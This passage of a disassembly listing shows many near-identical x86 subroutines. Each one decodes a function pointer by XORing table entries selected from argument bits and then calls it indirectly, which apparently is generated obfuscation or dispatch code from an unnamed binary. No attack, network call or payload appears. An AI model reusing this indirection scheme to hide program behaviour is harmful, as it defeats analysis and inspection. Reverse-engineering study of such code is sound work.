; CODE XREF: sub_4A56D7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A56D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A57D4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8CCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A7h mov [ebp+var_2C], 8Eh mov [ebp+var_28], 0B9h mov [ebp+var_24], 25h mov [ebp+var_20], 7Eh mov [ebp+var_1C], 0C1h mov [ebp+var_18], 88h mov [ebp+var_14], 0F2h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5864 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5864: ; CODE XREF: sub_4A57D4+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A57D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A58D0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8D0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 38h mov [ebp+var_2C], 0E9h mov [ebp+var_28], 46h mov [ebp+var_24], 0B2h mov [ebp+var_20], 0B5h mov [ebp+var_1C], 48h mov [ebp+var_18], 35h mov [ebp+var_14], 9Dh mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A595E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A595E: ; CODE XREF: sub_4A58D0+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A58D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A59CA proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8D4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 81h mov [ebp+var_2C], 63h mov [ebp+var_28], 5Fh mov [ebp+var_24], 6Ch mov [ebp+var_20], 0A5h mov [ebp+var_1C], 41h mov [ebp+var_18], 0EFh mov [ebp+var_14], 98h mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5A5B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5A5B: ; CODE XREF: sub_4A59CA+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A59CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5AC7 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8D8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 58h mov [ebp+var_2C], 0DDh mov [ebp+var_28], 0EBh mov [ebp+var_24], 29h mov [ebp+var_20], 0A6h mov [ebp+var_1C], 0A5h mov [ebp+var_18], 0 mov [ebp+var_14], 0ABh mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5B58 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5B58: ; CODE XREF: sub_4A5AC7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5AC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5BC4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8DCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 89h mov [ebp+var_2C], 8 mov [ebp+var_28], 63h mov [ebp+var_24], 2Dh mov [ebp+var_20], 0D1h mov [ebp+var_1C], 29h mov [ebp+var_18], 23h mov [ebp+var_14], 0BCh mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5C55 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5C55: ; CODE XREF: sub_4A5BC4+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5BC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5CC1 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8E0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0CAh mov [ebp+var_2C], 1Eh mov [ebp+var_28], 1Eh mov [ebp+var_24], 83h mov [ebp+var_20], 8Ch mov [ebp+var_1C], 0C0h mov [ebp+var_18], 0DBh mov [ebp+var_14], 2Eh mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5D52 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5D52: ; CODE XREF: sub_4A5CC1+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5DBE proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8E4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0ECh mov [ebp+var_2C], 0Ch mov [ebp+var_28], 0F6h mov [ebp+var_24], 82h mov [ebp+var_20], 3 mov [ebp+var_1C], 8Ah mov [ebp+var_18], 3Ch mov [ebp+var_14], 0A9h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5E4F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5E4F: ; CODE XREF: sub_4A5DBE+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5DBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5EBB proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8E8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Ch mov [ebp+var_2C], 0C3h mov [ebp+var_28], 41h mov [ebp+var_24], 0F4h mov [ebp+var_20], 95h mov [ebp+var_1C], 5Fh mov [ebp+var_18], 6Ch mov [ebp+var_14], 2Eh mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A5F4C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A5F4C: ; CODE XREF: sub_4A5EBB+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5EBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A5FB8 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8ECo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EBh mov [ebp+var_2C], 60h mov [ebp+var_28], 17h mov [ebp+var_24], 7Bh mov [ebp+var_20], 62h mov [ebp+var_1C], 0C3h mov [ebp+var_18], 25h mov [ebp+var_14], 7Dh mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6049 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6049: ; CODE XREF: sub_4A5FB8+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A5FB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A60B5 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8F0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C8h mov [ebp+var_2C], 57h mov [ebp+var_28], 0E8h mov [ebp+var_24], 29h mov [ebp+var_20], 5Eh mov [ebp+var_1C], 0DAh mov [ebp+var_18], 0B7h mov [ebp+var_14], 0F3h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6146 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6146: ; CODE XREF: sub_4A60B5+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A60B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A61B2 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8F4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 63h mov [ebp+var_2C], 1Ch mov [ebp+var_28], 67h mov [ebp+var_24], 0ACh mov [ebp+var_20], 0DDh mov [ebp+var_1C], 0Dh mov [ebp+var_18], 41h mov [ebp+var_14], 24h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6243 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6243: ; CODE XREF: sub_4A61B2+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A61B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A62AF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8F8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Bh mov [ebp+var_2C], 8Bh mov [ebp+var_28], 66h mov [ebp+var_24], 15h mov [ebp+var_20], 0EFh mov [ebp+var_1C], 80h mov [ebp+var_18], 51h mov [ebp+var_14], 68h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6340 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6340: ; CODE XREF: sub_4A62AF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A62AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A63AC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED8FCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 45h mov [ebp+var_2C], 0D7h mov [ebp+var_28], 7Eh mov [ebp+var_24], 0D6h mov 